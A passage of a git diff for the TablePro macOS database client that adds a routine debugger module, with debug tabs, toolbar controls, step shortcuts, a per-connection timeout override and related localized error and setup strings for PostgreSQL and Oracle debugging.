AppStorageEnvironment.shared.defaults) { + self.defaults = defaults + } + + var isApplied: Bool { + defaults.bool(forKey: Self.key) + } + + func record(_ applied: Bool) { + defaults.set(applied, forKey: Self.key) } } diff --git a/apple/TablePro/Core/Services/Infrastructure/TabPersistenceCoordinator.swift b/apple/TablePro/Core/Services/Infrastructure/TabPersistenceCoordinator.swift index a5adafcf9f..1d8cc113dd 100644 --- a/apple/TablePro/Core/Services/Infrastructure/TabPersistenceCoordinator.swift +++ b/apple/TablePro/Core/Services/Infrastructure/TabPersistenceCoordinator.swift @@ -98,6 +98,7 @@ internal final class TabPersistenceCoordinator: ObservableObject { selectedTabId: UUID?, path: String ) -> (tabs: [PersistedTab], selectedTabId: UUID?, database: String?, schema: String?)? { + let tabs = tabs.filter { !$0.tabType.isTransient } guard !tabs.isEmpty else { Self.logger.debug( "[persist] \(path, privacy: .private(mask: .hash)) skipped empty tab set connId=\(self.connectionId, privacy: .public)" diff --git a/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarContextResolver.swift b/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarContextResolver.swift index 74185086c2..5fb912893c 100644 --- a/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarContextResolver.swift +++ b/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarContextResolver.swift @@ -4,6 +4,7 @@ // import AppKit +import TableProPluginKit /// Which of the connection window's toolbar items a context shows, and which of them answer. /// @@ -38,12 +39,20 @@ internal enum ToolbarContextResolver { /// from early at about 2.5ns a write. internal static let hideableIdentifiers = Set(MainWindowToolbar.defaultItemIdentifiers) + // The debug controls belong to their module, so all of them, the palette's steps included, may leave the titlebar + // while it is on; with it off none is vended. + internal static func hideableItems(showsDebugItems: Bool) -> Set { + showsDebugItems ? hideableIdentifiers.union(MainWindowToolbar.debugItemIdentifiers) : hideableIdentifiers + } + /// What this context takes out of the titlebar, already confined to what may be taken. /// /// The confinement lives here rather than at the call site, so it is a property of the answer /// and a second caller cannot skip it. internal static func visibility(for key: ToolbarContext.VisibilityKey) -> ToolbarVisibility { - ToolbarVisibility(hidden: contextualHidden(key).intersection(hideableIdentifiers)) + ToolbarVisibility( + hidden: contextualHidden(key).intersection(hideableItems(showsDebugItems: key.showsDebugItems)) + ) } /// The commit control's label: the verb its tab commits with. @@ -60,7 +69,8 @@ internal enum ToolbarContextResolver { String(localized: "Create Table") case .usersRoles: String(localized: "Apply Changes") - case .query, .table, .erDiagram, .serverDashboard, .insights, .objectSource, .versionHistory, .tableListing, nil: + case .query, .table, .erDiagram, .serverDashboard, .insights, .objectSource, .versionHistory, .tableListing, + .routineDebug, nil: String(localized: "Save Changes") } } @@ -74,6 +84,11 @@ internal enum ToolbarContextResolver { hidden.insert(MainWindowToolbar.database) } + // The debug controls exist only while the module is on, and mean something only over a debug tab. + if key.contentMode == .agent || (key.tabKind != nil && key.tabKind != .routineDebug) { + hidden.formUnion(MainWindowToolbar.debugItemIdentifiers) + } + switch key.contentMode { case .agent: /// No grid and no object browser are on screen, and the commit control's gate is frozen @@ -98,6 +113,9 @@ internal enum ToolbarContextResolver { case .serverDashboard, .insights, .objectSource, .versionHistory, .tableListing: /// None of these can stage a change, so the commit control could only ever be dim. return [MainWindowToolbar.saveChanges] + case .routineDebug: + // A debug run has nothing to reload or commit; its own controls take that place. + return [MainWindowToolbar.refresh, MainWindowToolbar.saveChanges] case .query, .table, .usersRoles, .erDiagram: return [] } @@ -188,6 +206,16 @@ internal enum ToolbarContextResolver { return context.isConnected case MainWindowToolbar.importTables: return context.isConnected && !context.blocksAllWrites && context.supportsImport + case MainWindowToolbar.debugContinue: + return context.debugCommands.contains(.continueExecution) + case MainWindowToolbar.debugStepOver: + return context.debugCommands.contains(.stepOver) + case MainWindowToolbar.debugStepInto: + return context.debugCommands.contains(.stepInto) + case MainWindowToolbar.debugStepOut: + return context.debugCommands.contains(.stepOut) + case MainWindowToolbar.debugStop: + return context.canStopDebugging default: return false } diff --git a/apple/TablePro/Core/Services/Infrastructure/WindowTitleResolver.swift b/apple/TablePro/Core/Services/Infrastructure/WindowTitleResolver.swift index e793c326bd..372c2f8d78 100644 --- a/apple/TablePro/Core/Services/Infrastructure/WindowTitleResolver.swift +++ b/apple/TablePro/Core/Services/Infrastructure/WindowTitleResolver.swift @@ -165,6 +165,11 @@ enum WindowTitleResolver { return explicitTitle } return String(localized: "Tables") + case .routineDebug: + if let explicitTitle, !explicitTitle.isBlank { + return explicitTitle + } + return String(localized: "Debug") default: break } diff --git a/apple/TablePro/Core/Services/Query/MetadataConnectionPool.swift b/apple/TablePro/Core/Services/Query/MetadataConnectionPool.swift index c8c7da5d2e..1b51ce9465 100644 --- a/apple/TablePro/Core/Services/Query/MetadataConnectionPool.swift +++ b/apple/TablePro/Core/Services/Query/MetadataConnectionPool.swift @@ -411,11 +411,17 @@ final class MetadataConnectionPool { /// Opens a second connection to the session's server, on `scope`'s database, through the /// transport the session already holds. Every tunnel manager closes its tunnel before building a /// new one, so dialing the session's effective endpoint is what keeps the other connections up. - /// A database lane opens its user connection here too, as `.session`. - internal static func openServerDriver(for scope: DatabaseScope, purpose: DriverPurpose) async throws -> DatabaseDriver { + /// A database lane opens its user connection here too, as `.session`. `queryTimeoutSeconds` + /// replaces the session's timeout, for a debug target that waits on a person between steps. + internal static func openServerDriver( + for scope: DatabaseScope, + purpose: DriverPurpose, + queryTimeoutSeconds: Int? = nil + ) async throws -> DatabaseDriver { guard let session = DatabaseManager.shared.session(for: scope.connectionId) else { throw DatabaseError.notConnected } + let queryTimeout = queryTimeoutSeconds ?? session.effectiveQueryTimeoutSeconds var connection = session.effectiveConnection ?? session.connection let plan = Self.planConnection( configuredDatabase: connection.database, @@ -443,14 +449,14 @@ final class MetadataConnectionPool { purpose: purpose, deadline: deadline, timeoutEndpoint: timeoutEndpoint, - effectiveQueryTimeoutSeconds: session.effectiveQueryTimeoutSeconds, + effectiveQueryTimeoutSeconds: queryTimeout, preparedConfiguration: preparedConfiguration ) do { try await driver.connect() try await Self.prepareSession( driver, - queryTimeoutSeconds: session.effectiveQueryTimeoutSeconds, + queryTimeoutSeconds: queryTimeout, startupCommands: session.connection.startupCommands, connectionName: session.connection.name, timeoutSeconds: operationTimeoutSeconds diff --git a/apple/TablePro/Core/Storage/AppSettingsManager.swift b/apple/TablePro/Core/Storage/AppSettingsManager.swift index f17d83f2a4..253cc4f055 100644 --- a/apple/TablePro/Core/Storage/AppSettingsManager.swift +++ b/apple/TablePro/Core/Storage/AppSettingsManager.swift @@ -279,5 +279,6 @@ final class AppSettingsManager: ObservableObject { storage.resetToDefaults() connectionListPreferences.resetShowsRecent() SoftwareUpdater.shared.resetUpdatePreferences() + AppModuleActivation.resetToDefaults() } } diff --git a/apple/TablePro/Core/Storage/AppSettingsStorage.swift b/apple/TablePro/Core/Storage/AppSettingsStorage.swift index add50ed0f8..6e789f10e3 100644 --- a/apple/TablePro/Core/Storage/AppSettingsStorage.swift +++ b/apple/TablePro/Core/Storage/AppSettingsStorage.swift @@ -315,6 +315,7 @@ final class AppSettingsStorage: Sendable { defaults.removeObject(forKey: PreferenceKeys.rowInspectorGeometryFieldHeight.name) defaults.removeObject(forKey: PreferenceKeys.rowInspectorGeometryFieldMode.name) defaults.removeObject(forKey: SidebarPersistenceKey.defaultLayout) + RoutineDebugOptionStore(defaults: { [defaults] in defaults }).removeAll() } // MARK: - Helpers diff --git a/apple/TablePro/Core/Storage/ConnectionLocalState.swift b/apple/TablePro/Core/Storage/ConnectionLocalState.swift index 63a4c790c8..c77bd3a5ef 100644 --- a/apple/TablePro/Core/Storage/ConnectionLocalState.swift +++ b/apple/TablePro/Core/Storage/ConnectionLocalState.swift @@ -57,6 +57,7 @@ internal enum ConnectionLocalState { HistoryPanelPreferencesStorage.remove(for: connectionId) QueryInsightsPreferencesStorage.remove(for: connectionId) ServerDashboardTileStorage().remove(for: connectionId) + RoutineDebugOptionStore(defaults: { [defaults] in defaults }).remove(for: connectionId) MCPServerStore.shared.forgetConnection(connectionId) } purgeTrailingPaneKeys(connectionIds, defaults: defaults) diff --git a/apple/TablePro/Core/Utilities/UI/AlertHelper.swift b/apple/TablePro/Core/Utilities/UI/AlertHelper.swift index a0dc3210b0..9fe36ae79a 100644 --- a/apple/TablePro/Core/Utilities/UI/AlertHelper.swift +++ b/apple/TablePro/Core/Utilities/UI/AlertHelper.swift @@ -251,13 +251,19 @@ final class AlertHelper { work: .immediate { gate.deliver(.success(true)) } ) ) - let confirmed = try? await runHostedDecision( - title: title, - fittingWidth: 560, - gate: gate, - window: window, - rootView: sheet - ) + guard !Task.isCancelled else { return false } + // A caller that gives up takes the review down as a no, the way Escape would. + let confirmed = await withTaskCancellationHandler { + try? await runHostedDecision( + title: title, + fittingWidth: 560, + gate: gate, + window: window, + rootView: sheet + ) + } onCancel: { + Task { @MainActor in gate.cancel() } + } return confirmed ?? false } diff --git a/apple/TablePro/Extensions/NSLayoutConstraintPriority+SplitPane.swift b/apple/TablePro/Extensions/NSLayoutConstraintPriority+SplitPane.swift index 0017b21d0e..7df214ff3e 100644 --- a/apple/TablePro/Extensions/NSLayoutConstraintPriority+SplitPane.swift +++ b/apple/TablePro/Extensions/NSLayoutConstraintPriority+SplitPane.swift @@ -2,4 +2,6 @@ import AppKit internal extension NSLayoutConstraint.Priority { static let splitPaneHolding = NSLayoutConstraint.Priority(260) + // Below the other pane's `.defaultLow`, so this one takes the room when the split view resizes. + static let splitPaneFlexible = NSLayoutConstraint.Priority(240) } diff --git a/apple/TablePro/Models/Query/QueryTabManager.swift b/apple/TablePro/Models/Query/QueryTabManager.swift index da30ee518a..49b0da031f 100644 --- a/apple/TablePro/Models/Query/QueryTabManager.swift +++ b/apple/TablePro/Models/Query/QueryTabManager.swift @@ -582,6 +582,23 @@ final class QueryTabManager: ObservableObject { return newTab.id } + // One tab per run: debugging the same routine again starts a second session rather than taking over a live one. + @discardableResult + func addRoutineDebugTab(id: UUID = UUID(), title: String, databaseName: String, schemaName: String?) -> UUID { + var newTab = QueryTab(id: id, title: title, tabType: .routineDebug) + newTab.tableContext.isEditable = false + newTab.tableContext.databaseName = databaseName + newTab.tableContext.schemaName = schemaName.flatMap { $0.isEmpty ? nil : $0 } + newTab.hasUserInteraction = true + tabs.append(newTab) + selectedTabId = newTab.id + return newTab.id + } + + static func routineDebugTitle(for name: String) -> String { + String(format: String(localized: "Debug %@"), name) + } + // Qualified by schema where tables are listed per schema, or two listings in one database would share a label. static func tableListingTitle(kindTitle: String, schemaName: String?) -> String { guard let schemaName, !schemaName.isEmpty else { return kindTitle } @@ -744,8 +761,11 @@ extension QueryTabManager { return visible } + // A debug tab names no entry: its paused target holds locks whichever database the sidebar shows, so it stays in + // sight everywhere while its run keeps the database it was started in. func containerName(of tab: QueryTab) -> String? { - WorkspaceAnchoring.containerName(of: tab, target: containerTarget) + guard !tab.tabType.isTransient else { return nil } + return WorkspaceAnchoring.containerName(of: tab, target: containerTarget) } // A tab naming no container (a server dashboard, a query tab on a browse-following engine) shows in every entry. @@ -812,7 +832,8 @@ extension QueryTabManager { switch type { case .query, .table, .createTable, .erDiagram, .objectSource, .tableListing: return true - case .serverDashboard, .usersRoles, .insights, .versionHistory: + // A paused debug target holds locks, so its tab stays in sight whichever entry the sidebar shows. + case .serverDashboard, .usersRoles, .insights, .versionHistory, .routineDebug: return false } } diff --git a/apple/TablePro/Models/Query/QueryTabState.swift b/apple/TablePro/Models/Query/QueryTabState.swift index 42fa43be7a..76f2957417 100644 --- a/apple/TablePro/Models/Query/QueryTabState.swift +++ b/apple/TablePro/Models/Query/QueryTabState.swift @@ -20,6 +20,14 @@ enum TabType: Equatable, Codable, Hashable { case versionHistory // Read-only grid of one database's or schema's tables, rebuilt from the catalog on each load, never from saved SQL. case tableListing + case routineDebug +} + +extension TabType { + // A live debug session cannot be restored, and the debugger is a module, so its tab never reaches disk or an outside client. + var isTransient: Bool { + self == .routineDebug + } } struct PersistedTab: Codable { diff --git a/apple/TablePro/Models/UI/GridSelectionOwner.swift b/apple/TablePro/Models/UI/GridSelectionOwner.swift index b20f998971..9a212ceb91 100644 --- a/apple/TablePro/Models/UI/GridSelectionOwner.swift +++ b/apple/TablePro/Models/UI/GridSelectionOwner.swift @@ -33,7 +33,7 @@ internal enum GridSelectionOwner: Equatable { // Map selects through the same model: a clicked shape selects its row. return .dataGrid case .createTable, .erDiagram, .serverDashboard, .usersRoles, .insights, .objectSource, .versionHistory, - .tableListing: + .tableListing, .routineDebug: return .none } } diff --git a/apple/TablePro/Models/UI/KeyboardShortcutModels.swift b/apple/TablePro/Models/UI/KeyboardShortcutModels.swift index b707d86815..79b0e75513 100644 --- a/apple/TablePro/Models/UI/KeyboardShortcutModels.swift +++ b/apple/TablePro/Models/UI/KeyboardShortcutModels.swift @@ -40,6 +40,7 @@ enum ShortcutCategory: String, Codable, CaseIterable, Identifiable { case dataGrid case navigation case connections + case debug case app var id: String { rawValue } @@ -50,6 +51,7 @@ enum ShortcutCategory: String, Codable, CaseIterable, Identifiable { case .dataGrid: return String(localized: "Data Grid") case .navigation: return String(localized: "Navigation") case .connections: return String(localized: "Connections") + case .debug: return String(localized: "Debug") case .app: return String(localized: "App") } } @@ -181,6 +183,13 @@ enum ShortcutAction: String, Codable, CaseIterable, Identifiable { case showPreviousWorkspace case showNextWorkspace + // Debug, listed only while the Routine Debugger module is on + case debugContinue + case debugStepOver + case debugStepInto + case debugStepOut + case toggleBreakpoint + var id: String { rawValue } var category: ShortcutCategory { @@ -215,9 +224,28 @@ enum ShortcutAction: String, Codable, CaseIterable, Identifiable { .showPreviousWindowTab, .showNextWindowTab, .toggleWorkspaceRail, .showPreviousWorkspace, .showNextWorkspace: return .navigation + case .debugContinue, .debugStepOver, .debugStepInto, .debugStepOut, .toggleBreakpoint: + return .debug } } + var module: AppModule? { + Self.routineDebuggerActions.contains(self) ? .routineDebugger : nil + } + + private static let routineDebuggerActions: Set = [ + .debugContinue, .debugStepOver, .debugStepInto, .debugStepOut, .toggleBreakpoint, + ] + + // An action of a module that is off has no row, no menu item and no say in a conflict. + func isAvailable(enabledModules: Set) -> Bool { + module.map { enabledModules.contains($0) } ?? true + } + + static func settingsRows(in category: ShortcutCategory, enabledModules: Set) -> [ShortcutAction] { + allCases.filter { $0.category == category && $0.isAvailable(enabledModules: enabledModules) } + } + /// A command that dispatches to whichever surface holds focus must be `.global`, or the /// conflict resolver treats its combo as free in the other context and AppKit blanks one of /// the two menu items that end up claiming it. The three find commands all route that way. @@ -375,6 +403,11 @@ enum ShortcutAction: String, Codable, CaseIterable, Identifiable { case .aiReviewQuery: return String(localized: "Review with AI") case .aiExplainQuery: return String(localized: "Explain with AI") case .aiOptimizeQuery: return String(localized: "Optimize with AI") + case .debugContinue: return String(localized: "Continue") + case .debugStepOver: return String(localized: "Step Over") + case .debugStepInto: return String(localized: "Step Into") + case .debugStepOut: return String(localized: "Step Out") + case .toggleBreakpoint: return String(localized: "Toggle Breakpoint") } } } @@ -526,6 +559,9 @@ struct KeyboardSettings: Codable, Equatable { continue } guard override == key, other.context.overlaps(action.context) else { continue } + if let module = other.module, !AppModule.storedEnabledModules().contains(module) { + continue + } return other } return nil @@ -538,8 +574,16 @@ struct KeyboardSettings: Codable, Equatable { /// Find a conflicting action for the given combo within an overlapping /// context, excluding the specified action. func findConflict(for key: BoundKey, excluding action: ShortcutAction) -> ShortcutAction? { + findConflict(for: key, excluding: action, enabledModules: AppModule.storedEnabledModules()) + } + + func findConflict( + for key: BoundKey, + excluding action: ShortcutAction, + enabledModules: Set + ) -> ShortcutAction? { guard !key.isCleared else { return nil } - for other in ShortcutAction.allCases where other != action { + for other in ShortcutAction.allCases where other != action && other.isAvailable(enabledModules: enabledModules) { guard action.context.overlaps(other.context), let otherKey = shortcut(for: other), !otherKey.isCleared, otherKey == key else { continue } @@ -715,7 +759,13 @@ struct KeyboardSettings: Codable, Equatable { .switchToLeastRecentTab: .special(.tab, shift: true, control: true), .toggleWorkspaceRail: .character("0", command: true, option: true), .showPreviousWorkspace: .special(.upArrow, command: true, control: true), - .showNextWorkspace: .special(.downArrow, command: true, control: true) + .showNextWorkspace: .special(.downArrow, command: true, control: true), + + // Xcode's keys. Toggle Breakpoint ships unbound: current macOS lists Command-Backslash as a system hotkey, which the recorder refuses. + .debugContinue: .character("y", command: true, control: true), + .debugStepOver: .special(.f6), + .debugStepInto: .special(.f7), + .debugStepOut: .special(.f8) ] } diff --git a/apple/TablePro/Models/UI/PendingChangeKind.swift b/apple/TablePro/Models/UI/PendingChangeKind.swift index b065c3cda9..df375dd97d 100644 --- a/apple/TablePro/Models/UI/PendingChangeKind.swift +++ b/apple/TablePro/Models/UI/PendingChangeKind.swift @@ -46,7 +46,8 @@ internal enum PendingChangeKind: Equatable, Hashable, Sendable { return hasCreateTablePending ? .createTable : nil case .usersRoles: return hasPrincipalChanges ? .principals : nil - case .query, .table, .erDiagram, .serverDashboard, .insights, .objectSource, .versionHistory, .tableListing: + case .query, .table, .erDiagram, .serverDashboard, .insights, .objectSource, .versionHistory, .tableListing, + .routineDebug: return contentKind( hasDataChanges: hasDataChanges, hasStructureChanges: hasStructureChanges, diff --git a/apple/TablePro/Models/UI/ToolbarContext.swift b/apple/TablePro/Models/UI/ToolbarContext.swift index b4900b9818..f4267409e4 100644 --- a/apple/TablePro/Models/UI/ToolbarContext.swift +++ b/apple/TablePro/Models/UI/ToolbarContext.swift @@ -4,6 +4,7 @@ // import Foundation +import TableProPluginKit /// Everything the connection window's toolbar is allowed to know about what the window is showing. /// @@ -55,6 +56,12 @@ internal struct ToolbarContext: Equatable { /// A type's tab queues changes the commit control saves; every other object tab only reads. internal let stagesObjectChanges: Bool + // Whether the Routine Debugger module puts its controls in the toolbar at all. + internal let showsDebugItems: Bool + // What the selected debug tab can do now; empty and false everywhere else. + internal let debugCommands: Set + internal let canStopDebugging: Bool + /// The subset of the context that may move an item in or out of the titlebar, or change what /// one says. /// @@ -75,6 +82,7 @@ internal struct ToolbarContext: Equatable { internal let supportsServerDashboard: Bool internal let isAIEnabled: Bool internal var stagesObjectChanges = false + internal var showsDebugItems = false } internal var visibilityKey: VisibilityKey { @@ -87,7 +95,8 @@ internal struct ToolbarContext: Equatable { supportsImport: supportsImport, supportsServerDashboard: supportsServerDashboard, isAIEnabled: isAIEnabled, - stagesObjectChanges: stagesObjectChanges + stagesObjectChanges: stagesObjectChanges, + showsDebugItems: showsDebugItems ) } @@ -111,7 +120,10 @@ internal struct ToolbarContext: Equatable { supportsImport: Bool = false, supportsServerDashboard: Bool = false, isAIEnabled: Bool = false, - stagesObjectChanges: Bool = false + stagesObjectChanges: Bool = false, + showsDebugItems: Bool = false, + debugCommands: Set = [], + canStopDebugging: Bool = false ) { self.tabKind = tabKind self.resultsMode = resultsMode @@ -133,6 +145,9 @@ internal struct ToolbarContext: Equatable { self.supportsServerDashboard = supportsServerDashboard self.isAIEnabled = isAIEnabled self.stagesObjectChanges = stagesObjectChanges + self.showsDebugItems = showsDebugItems + self.debugCommands = debugCommands + self.canStopDebugging = canStopDebugging } /// The whole context over a key the caller already computed, so the eight slow-moving facts @@ -149,7 +164,9 @@ internal struct ToolbarContext: Equatable { canAddRow: Bool, canRestorePreviousValues: Bool, canNavigateBack: Bool, - canNavigateForward: Bool + canNavigateForward: Bool, + debugCommands: Set = [], + canStopDebugging: Bool = false ) { self.init( tabKind: key.tabKind, @@ -171,7 +188,10 @@ internal struct ToolbarContext: Equatable { supportsImport: key.supportsImport, supportsServerDashboard: key.supportsServerDashboard, isAIEnabled: key.isAIEnabled, - stagesObjectChanges: key.stagesObjectChanges + stagesObjectChanges: key.stagesObjectChanges, + showsDebugItems: key.showsDebugItems, + debugCommands: debugCommands, + canStopDebugging: canStopDebugging ) } } diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings index 84ff17bec7..5fad72ccd1 100644 --- a/apple/TablePro/Resources/Localizable.xcstrings +++ b/apple/TablePro/Resources/Localizable.xcstrings @@ -194,6 +194,10 @@ }, "Add one row to a table on a saved connection. Provide the row as a JSON object or a CSV row." : { + }, + "Add plugin_debugger to shared_preload_libraries and restart the server." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "Add rows to ${table}" : { @@ -472,6 +476,10 @@ }, "Only Left" : { + }, + "Only PL/pgSQL functions and procedures can be debugged." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "Only Right" : { @@ -637,6 +645,22 @@ "extractionState" : "manual", "generatesSymbol" : false }, + "TablePro can't pass any value of type %2$@ to %1$@." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "TablePro can't read %@. Check that this account can see its source." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "TablePro can't read this unit's source." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "TablePro can't turn text into a %2$@ value for %1$@." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "TablePro signs RSA keys with rsa-sha2-256 or rsa-sha2-512, not with ssh-rsa, which uses SHA-1." : { "extractionState" : "manual", "generatesSymbol" : false @@ -1825,6 +1849,10 @@ } } }, + "“%@” isn't a port or a range of ports, such as 4000-4999." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "“%@” now holds the current result of its query." : { "localizations" : { "fr" : { @@ -3203,6 +3231,10 @@ } } }, + "%@ (specification)" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "%@ (You)" : { "localizations" : { "fr" : { @@ -4287,6 +4319,14 @@ }, "%@ has no column to create." : { + }, + "%@ has no default value." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "%@ has no public procedure or function to start from." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "%@ holds a document or an array, and this text is not valid JSON." : { "extractionState" : "manual", @@ -4878,6 +4918,10 @@ } } }, + "%@ isn't compiled for debugging." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "%@ lines have unreadable characters" : { "localizations" : { "fr" : { @@ -4927,6 +4971,9 @@ } } } + }, + "%@ May Still Be Running" : { + }, "%@ more, in the script beside this" : { "localizations" : { @@ -15952,6 +15999,10 @@ } } }, + "A connection came from %@, which isn't the database server's address, so TablePro closed it." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "A connection can use only one connection method at a time. Enabled: %@." : { "localizations" : { "fr" : { @@ -16123,6 +16174,14 @@ } } }, + "A DBA can grant it with GRANT DEBUG CONNECT SESSION TO %@." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "A DBA can grant it with GRANT DEBUG ON %1$@ TO %2$@, or grant DEBUG ANY PROCEDURE." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "a destructive statement" : { "localizations" : { "fr" : { @@ -17906,6 +17965,10 @@ } } }, + "A user with ALTER SYSTEM can find its session in V$SESSION and end it with ALTER SYSTEM KILL SESSION." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "A value could not be written as JSON." : { "localizations" : { "fr" : { @@ -21239,6 +21302,10 @@ } } }, + "Address the database server can reach this Mac at" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Adds a narrow strip on the window's leading edge listing every connection and database you have open, so one click switches to it." : { "localizations" : { "fr" : { @@ -28157,6 +28224,10 @@ } } }, + "Ask a superuser to run CREATE EXTENSION pldbgapi in this database." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Ask about step %d" : { "localizations" : { "fr" : { @@ -29969,6 +30040,8 @@ } }, "Automatic" : { + "extractionState" : "manual", + "generatesSymbol" : false, "localizations" : { "fr" : { "stringUnit" : { @@ -32295,6 +32368,14 @@ "extractionState" : "manual", "generatesSymbol" : false }, + "Breakpoint, line %d" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Breakpoints" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Briefcase" : { "extractionState" : "manual", "generatesSymbol" : false @@ -33411,6 +33492,9 @@ "Cake" : { "extractionState" : "manual", "generatesSymbol" : false + }, + "Call Stack" : { + }, "Calling" : { "localizations" : { @@ -33571,6 +33655,12 @@ } } } + }, + "Can't Debug %@" : { + + }, + "Can't List Routines" : { + }, "Can't List Tables" : { "localizations" : { @@ -36359,6 +36449,14 @@ } } }, + "Changes the procedure makes are committed when it commits or finishes. Stop rolls back what it hasn't committed." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Changes the routine makes are committed when it finishes. Stop rolls them back." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Changes Unavailable" : { }, @@ -38624,6 +38722,10 @@ } } }, + "Choose DBMS_DEBUG as the protocol." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Choose Destination…" : { "localizations" : { "fr" : { @@ -38784,6 +38886,10 @@ } } }, + "Choose other Debugger Ports, or DBMS_DEBUG as the protocol." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Choose port automatically" : { "localizations" : { "fr" : { @@ -43305,6 +43411,10 @@ } } }, + "Collection" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Collection %@ no longer exists." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -43329,6 +43439,14 @@ } } }, + "Collection of %d elements" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Collection of 1 element" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "collections" : { "localizations" : { "fr" : { @@ -46154,6 +46272,10 @@ } } }, + "Compile for Debug" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Complete Sign In" : { "localizations" : { "fr" : { @@ -52490,6 +52612,9 @@ } } } + }, + "Could not build the column reorder for this table. If this engine's driver was installed before column reorder shipped, update it in Settings > Extensions." : { + }, "Could not build the column reorder for this table. If this engine's driver was installed before column reorder shipped, update it in Settings > Plugins." : { "localizations" : { @@ -52543,6 +52668,9 @@ }, "Could not build the query that matches rows" : { + }, + "Could not build the table rebuild for this change. If this engine's driver was installed before foreign key editing shipped, update it in Settings > Extensions." : { + }, "Could not build the table rebuild for this change. If this engine's driver was installed before foreign key editing shipped, update it in Settings > Plugins." : { "localizations" : { @@ -60285,6 +60413,10 @@ } } }, + "DBMS_DEBUG_JDWP needs a Debugger Host for the database to connect back to." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Deactivate" : { "localizations" : { "fr" : { @@ -60485,6 +60617,60 @@ } } }, + "Debug" : { + + }, + "Debug %@" : { + + }, + "Debug it from a routine that calls it with arguments only this overload takes." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Debug it from a routine that calls it with that value." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Debug Routine" : { + + }, + "Debug Routine…" : { + + }, + "Debug Session Ended" : { + + }, + "Debug…" : { + + }, + "Debugger Host" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Debugger Ports" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Debugging %@ needs the DEBUG privilege on it." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Debugging needs the DEBUG CONNECT SESSION privilege." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Debugging through DBMS_DEBUG instead." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Debugging through DBMS_DEBUG_JDWP. The database connected to TablePro at %@." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Debugging through DBMS_DEBUG." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Decimal" : { "extractionState" : "manual", "generatesSymbol" : false, @@ -86436,6 +86622,14 @@ } } }, + "Give %1$@ a value. Left at its default, the call also matches another overload of %2$@." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Give %1$@ values. Left at their defaults, the call also matches another overload of %2$@." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Give its full path in the connection. Apps launched from the Dock do not inherit your shell's PATH." : { "localizations" : { "fr" : { @@ -90591,6 +90785,10 @@ } } }, + "If the server reaches this Mac through NAT or a load balancer, choose DBMS_DEBUG as the protocol." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "If the server stopped answering at the network encryption step, set Network Encryption to Rejected on the Advanced tab and connect again." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -95173,6 +95371,10 @@ }, "Install the %@ plugin?" : { + }, + "Install the pldebugger package for this PostgreSQL version on the server, then run CREATE EXTENSION pldbgapi in this database." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "Installed" : { "localizations" : { @@ -97097,6 +97299,10 @@ } } }, + "Its server session may still be running and holding its locks." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Its structure could not be read." : { "localizations" : { "fr" : { @@ -97109,6 +97315,10 @@ }, "Its uncommitted changes are discarded." : { + }, + "Its uncommitted work rolls back when it ends." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "Its WHERE clause is not supported here, so it covers every row." : { "localizations" : { @@ -97120,6 +97330,10 @@ } } }, + "JDWP error %d." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Join condition:" : { }, @@ -99007,6 +99221,10 @@ }, "This sequence's settings could not be read, so they cannot be changed here." : { + }, + "This server can't show the default value of %@, so enter a value for it." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "keyword: %@" : { "localizations" : { @@ -102018,6 +102236,10 @@ } } }, + "Line %1$d of %2$@ has no code to stop at." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Line %1$d: %2$@" : { "localizations" : { "fr" : { @@ -102081,6 +102303,9 @@ } } } + }, + "Line %d" : { + }, "Line break" : { "extractionState" : "manual", @@ -114986,6 +115211,9 @@ }, "No build of this plugin works with this version of TablePro." : { + }, + "No Call Stack" : { + }, "No cells changed." : { "localizations" : { @@ -116192,6 +116420,10 @@ } } }, + "No debugger host is set, so the database can't connect back to 